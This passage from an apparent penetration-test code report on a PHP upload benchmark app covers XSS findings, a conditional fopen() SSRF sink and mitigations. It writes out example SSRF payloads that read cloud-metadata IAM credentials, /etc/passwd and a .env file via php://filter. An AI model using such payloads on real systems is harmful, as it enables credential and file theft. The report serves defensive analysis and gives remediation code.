echo "File is valid, and was successfully uploaded <a href='" . 
     htmlspecialchars($partial_path, ENT_QUOTES, 'UTF-8') . "'>here</a>.\n";
```

---

### XSS Sinks NOT Found

Based on comprehensive code analysis, the following XSS sink categories were **NOT FOUND** in this network-accessible codebase:

#### **JavaScript Context XSS: NONE FOUND**
- No `eval()` with user input
- No `Function()` constructor with user input
- No `setTimeout(string)` or `setInterval(string)` with user data
- No `<script>` tags with dynamic content
- No client-side JavaScript code detected

#### **DOM-Based XSS: NONE FOUND**
- No `innerHTML` assignments
- No `outerHTML` assignments
- No `document.write()` or `document.writeln()`
- No `element.insertAdjacentHTML()`
- No `jQuery.html()`, `.append()`, `.after()`, etc.
- No client-side DOM manipulation

#### **CSS Context XSS: NONE FOUND**
- No `element.style` assignments with user input
- No `<style>` tags with dynamic content
- No CSS injection vectors

#### **URL Context XSS: NONE FOUND**
- No `location.href` assignments
- No `window.open()` with user input
- No `history.pushState()` or `replaceState()`
- No URL manipulation with user data

#### **Template Injection: NONE FOUND**
- No template engines (Twig, Smarty, Blade)
- No server-side template rendering with user input

#### **SVG XSS: NONE FOUND**
- No SVG file handling
- No inline SVG generation with user input

#### **XML XSS: NONE FOUND**
- No XML document generation
- No XSLT processing

---

### Summary of XSS Attack Surface

**Total XSS Sinks Found:** 2 (both in HTML attribute contexts)
**Critical Severity:** 1 (Stored XSS)
**High Severity:** 1 (Reflected XSS)

**Primary XSS Attack Vector:**
The file upload functionality allows attackers to inject malicious filenames that are:
1. Stored persistently in `uploaded.txt` (Stored XSS vector)
2. Reflected immediately in upload success message (Reflected XSS vector)
3. Never sanitized or encoded before HTML output

**Defense Mechanisms Present:**
- **None** - No output encoding, no Content-Security-Policy headers, no XSS protection headers

**Recommended Mitigations:**
1. **Output Encoding:** Apply `htmlspecialchars($var, ENT_QUOTES, 'UTF-8')` to all user input before HTML output
2. **Content-Security-Policy:** Implement CSP header to restrict inline script execution
3. **X-XSS-Protection:** Enable browser XSS filter (legacy, but provides defense-in-depth)
4. **Input Validation:** Restrict filenames to alphanumeric characters and safe punctuation only
5. **Filename Sanitization:** Replace uploaded filenames with server-generated UUIDs

---

## 10. SSRF Sinks

### Network Surface Scope Confirmation
All SSRF sinks listed below are in **network-accessible web application components**. No local-only utilities, build scripts, or developer tools are included.

### Identified SSRF Vulnerability

#### **SSRF Sink #1: fopen() with Potential URL Wrapper Exploitation**

**Sink Type:** Server-Side Request Forgery via PHP URL Wrappers
**File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/security.php`
**Line Number:** 4
**Severity:** MEDIUM (Conditional - depends on `allow_url_fopen` configuration and exploitation feasibility)

**Vulnerable Code:**
```php
function hasValidMagicNumber($filename) {
    $file = fopen($filename, 'rb');  // Line 4 - POTENTIAL SSRF SINK
    $signature = fread($file, 2);    // Line 5
    fclose($file);                    // Line 6
    return bin2hex($signature) === 'ffd8';
}
```

**Call Chain from Network-Accessible Entry Point:**
```
POST /index.php (multipart/form-data file upload)
         ↓
Line 35: hasValidMagicNumber($_FILES["userfile"]["tmp_name"])
         ↓
security.php Line 4: fopen($filename, 'rb')
```

**User Input Source:**
- `$_FILES["userfile"]["tmp_name"]` - Temporary file path assigned by PHP during upload processing
- **Normally:** This is a system-generated path like `/tmp/phpXXXXXX`
- **Potential Manipulation:** In specific misconfiguration scenarios or with multipart/form-data header manipulation, this could potentially be influenced

**Request Type:** File read operation supporting PHP URL wrappers (if `allow_url_fopen = On`)

**PHP URL Wrapper Support:**
If `allow_url_fopen` is enabled (default in PHP 7.1), `fopen()` supports:
- `http://` - HTTP GET requests
- `https://` - HTTPS GET requests
- `ftp://` - FTP connections
- `file://` - Local filesystem access
- `php://` - PHP I/O streams (php://input, php://filter, etc.)
- `data://` - Data URI scheme
- `phar://` - PHP Archive manipulation
- `compress.zlib://` - Compression wrappers
- `compress.bzip2://` - Bzip2 compression

**Exploitation Feasibility Assessment:**

**Difficulty: HIGH (Requires specific conditions)**

The exploitation of this SSRF sink is **theoretically possible but practically difficult** because:

1. **Limited Control:** The `$filename` parameter is `$_FILES["userfile"]["tmp_name"]`, which is set by PHP's upload handling mechanism, not directly user-controlled
2. **Upload Processing:** PHP validates and sanitizes the tmp_name during multipart/form-data parsing
3. **Validation Required:** The file must pass extension and magic number checks before this function is called
4. **Read-Only Operation:** Only reads first 2 bytes, limiting SSRF impact

**Potential Attack Scenarios (Low Probability):**

**Scenario 1: Multipart Header Manipulation**
In rare PHP versions or configurations, manipulating multipart/form-data headers might influence tmp_name:
```http
POST /index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="userfile"; filename="test.jpg"
Content-Type: image/jpeg
[Attempt to inject URL wrapper in tmp_name metadata]
```
**Likelihood:** Very low - PHP's upload handling is robust against this

**Scenario 2: Race Condition + Symlink**
1. Upload legitimate file
2. During processing, race condition allows replacing temp file with symlink to URL
3. `fopen()` follows symlink to URL wrapper
**Likelihood:** Very low - requires precise timing and filesystem write access

**Scenario 3: PHP Configuration Exploit**
If `upload_tmp_dir` is misconfigured to a user-controlled directory with symlinks:
```php
upload_tmp_dir = /var/www/html/upload/  # Misconfiguration
```
**Likelihood:** Low - not standard configuration

**Impact if Exploitable:**

If an attacker could manipulate `$filename` to contain a URL:

1. **Internal Network Scanning:**
   ```php
   fopen("http://192.168.1.1:80", 'rb')  # Probes internal IP
   fopen("http://169.254.169.254/latest/meta-data/", 'rb')  # AWS metadata
   ```

2. **Port Scanning:**
   ```php
   fopen("http://internal-service:8080", 'rb')  # Tests if port 8080 is open
   ```

3. **Information Disclosure:**
   ```php
   fopen("file:///etc/passwd", 'rb')  # Reads local files (if file:// allowed)
   fopen("php://filter/convert.base64-encode/resource=/var/www/html/.env", 'rb')
   ```

4. **Cloud Metadata Exploitation:**
   ```php
   # AWS
   fopen("http://169.254.169.254/latest/meta-data/iam/security-credentials/", 'rb')
   # GCP
   fopen("http://metadata.google.internal/computeMetadata/v1/", 'rb')
   # Azure
   fopen("http://169.254.169.254/metadata/instance?api-version=2021-02-01", 'rb')
   ```

**Validation Present:**
- **No URL validation:** No checks to ensure `$filename` is a local file path
- **No wrapper restrictions:** No configuration to disable specific URL wrappers
- **No `is_file()` check:** Code doesn't verify the parameter points to an actual file

**Network Accessibility:** YES - This function is called during file upload processing in the main web application endpoint (`/index.php`)

**Correct Remediation:**
```php
function hasValidMagicNumber($filename) {
    // Validate that filename is a real local file
    if (!is_file($filename)) {
        return false;
    }
    
    // Ensure filename doesn't contain URL schemes
    if (preg_match('/^(https?|ftp|php|file|data|phar):\/\//i', $filename)) {
        return false;
    }
    
    $file = fopen($filename, 'rb');
    if ($file === false) {
        return false;
    }
    
    $signature = fread($file, 2);
    fclose($file);
    return bin2hex($signature) === 'ffd8';
}
```

**Additional PHP Configuration Hardening:**
```ini
; php.ini
allow_url_fopen = Off      ; Disable URL wrappers globally
allow_url_include = Off    ; Disable URL includes
```

---

### SSRF Sinks NOT Found

Based on comprehensive code analysis, the following SSRF sink categories were **NOT FOUND** in network-accessible components:

#### **HTTP(S) Client Sinks: NONE FOUND**
- No `curl_exec()` calls
- No `file_get_contents()` with HTTP URLs
- No `fsockopen()` or `pfsockopen()`
- No HTTP client libraries (Guzzle, Axios, requests)
- No `SoapClient` with user-controlled WSDL URLs

#### **Raw Socket Connections: NONE FOUND**
- No `socket_connect()` calls
- No `stream_socket_client()` usage
- No `fsockopen()` for arbitrary connections

#### **External Resource Fetching: NONE FOUND**
- No `include()` or `require()` with URLs
- No `readfile()` with user-controlled URLs
- No `getimagesize()` with external URLs
- No XML external entity (XXE) processing

#### **Redirect Handlers: NONE FOUND**
- No `header("Location: ...")` with user input
- No auto-follow redirect configurations
- No "next URL" or "return URL" parameters

#### **Headless Browsers: NONE FOUND**
- No Puppeteer, Playwright, or Selenium usage
- No html-to-pdf converters
- No server-side rendering with external content

#### **Media Processors: NONE FOUND**
- No ImageMagick (`convert`, `identify`) usage
- No FFmpeg with URL inputs
- No wkhtmltopdf or Ghostscript

#### **Link Preview/Unfurl: NONE FOUND**
- No URL metadata extraction
- No oEmbed fetching
- No social media card generation

#### **Webhook Handlers: NONE FOUND**
- No webhook testing functionality
- No callback verification
- No outbound ping mechanisms

#### **SSO/OIDC Discovery: NONE FOUND**
- No OpenID Connect discovery endpoint fetching
- No JWKS (JSON Web Key Set) fetching
- No OAuth metadata retrieval

#### **Data Import/Export: NONE FOUND**
- No "Import from URL" functionality
- No CSV/JSON remote loaders
- No RSS/Atom feed readers

#### **Package Installation: NONE FOUND**
- No "Install from URL" features
- No plugin/theme downloaders
- No remote package fetching

#### **Monitoring/Health Checks: NONE FOUND**
- No URL pingers
- No uptime checker functionality
- No external health check probes

#### **Cloud Metadata Access: NONE FOUND**
- No AWS/GCP/Azure metadata API calls
- No instance metadata fetching
- No cloud service discovery

---

### Summary of SSRF Attack Surface

**Total SSRF Sinks Found:** 1 (Conditional/Low Exploitability)
**Medium Severity:** 1 (`fopen()` with potential URL wrapper support)

**Primary SSRF Attack Vector:**
The `fopen()` call in `security.php` theoretically supports URL wrappers if `allow_url_fopen` is enabled, but practical exploitation is difficult due to:
- Limited control over the `$filename` parameter (set by PHP upload handling)
- Requires specific misconfigurations or race conditions
- Only reads first 2 bytes, limiting information disclosure

**Defense Mechanisms Present:**
- **None** - No URL validation, no wrapper restrictions, no `is_file()` checks

**Recommended Mitigations:**
1. **Input Validation:** Add `is_file()` check before `fopen()`
2. **URL Scheme Detection:** Reject filenames containing `http://`, `https://`, `php://`, etc.
3. **PHP Configuration:** Set `allow_url_fopen = Off` and `allow_url_include = Off` in php.ini
4. **Least Privilege:** Run PHP with minimal filesystem access permissions
5. **Network Segmentation:** Isolate application from internal networks to limit SSRF impact

**Risk Assessment:**
While a theoretical SSRF vector exists, the **practical exploitability is LOW** in the current implementation. However, this should still be remediated to prevent future exploitation scenarios or configuration changes that could increase the risk.

---

**END OF PENETRATION TEST CODE ANALYSIS REPORT**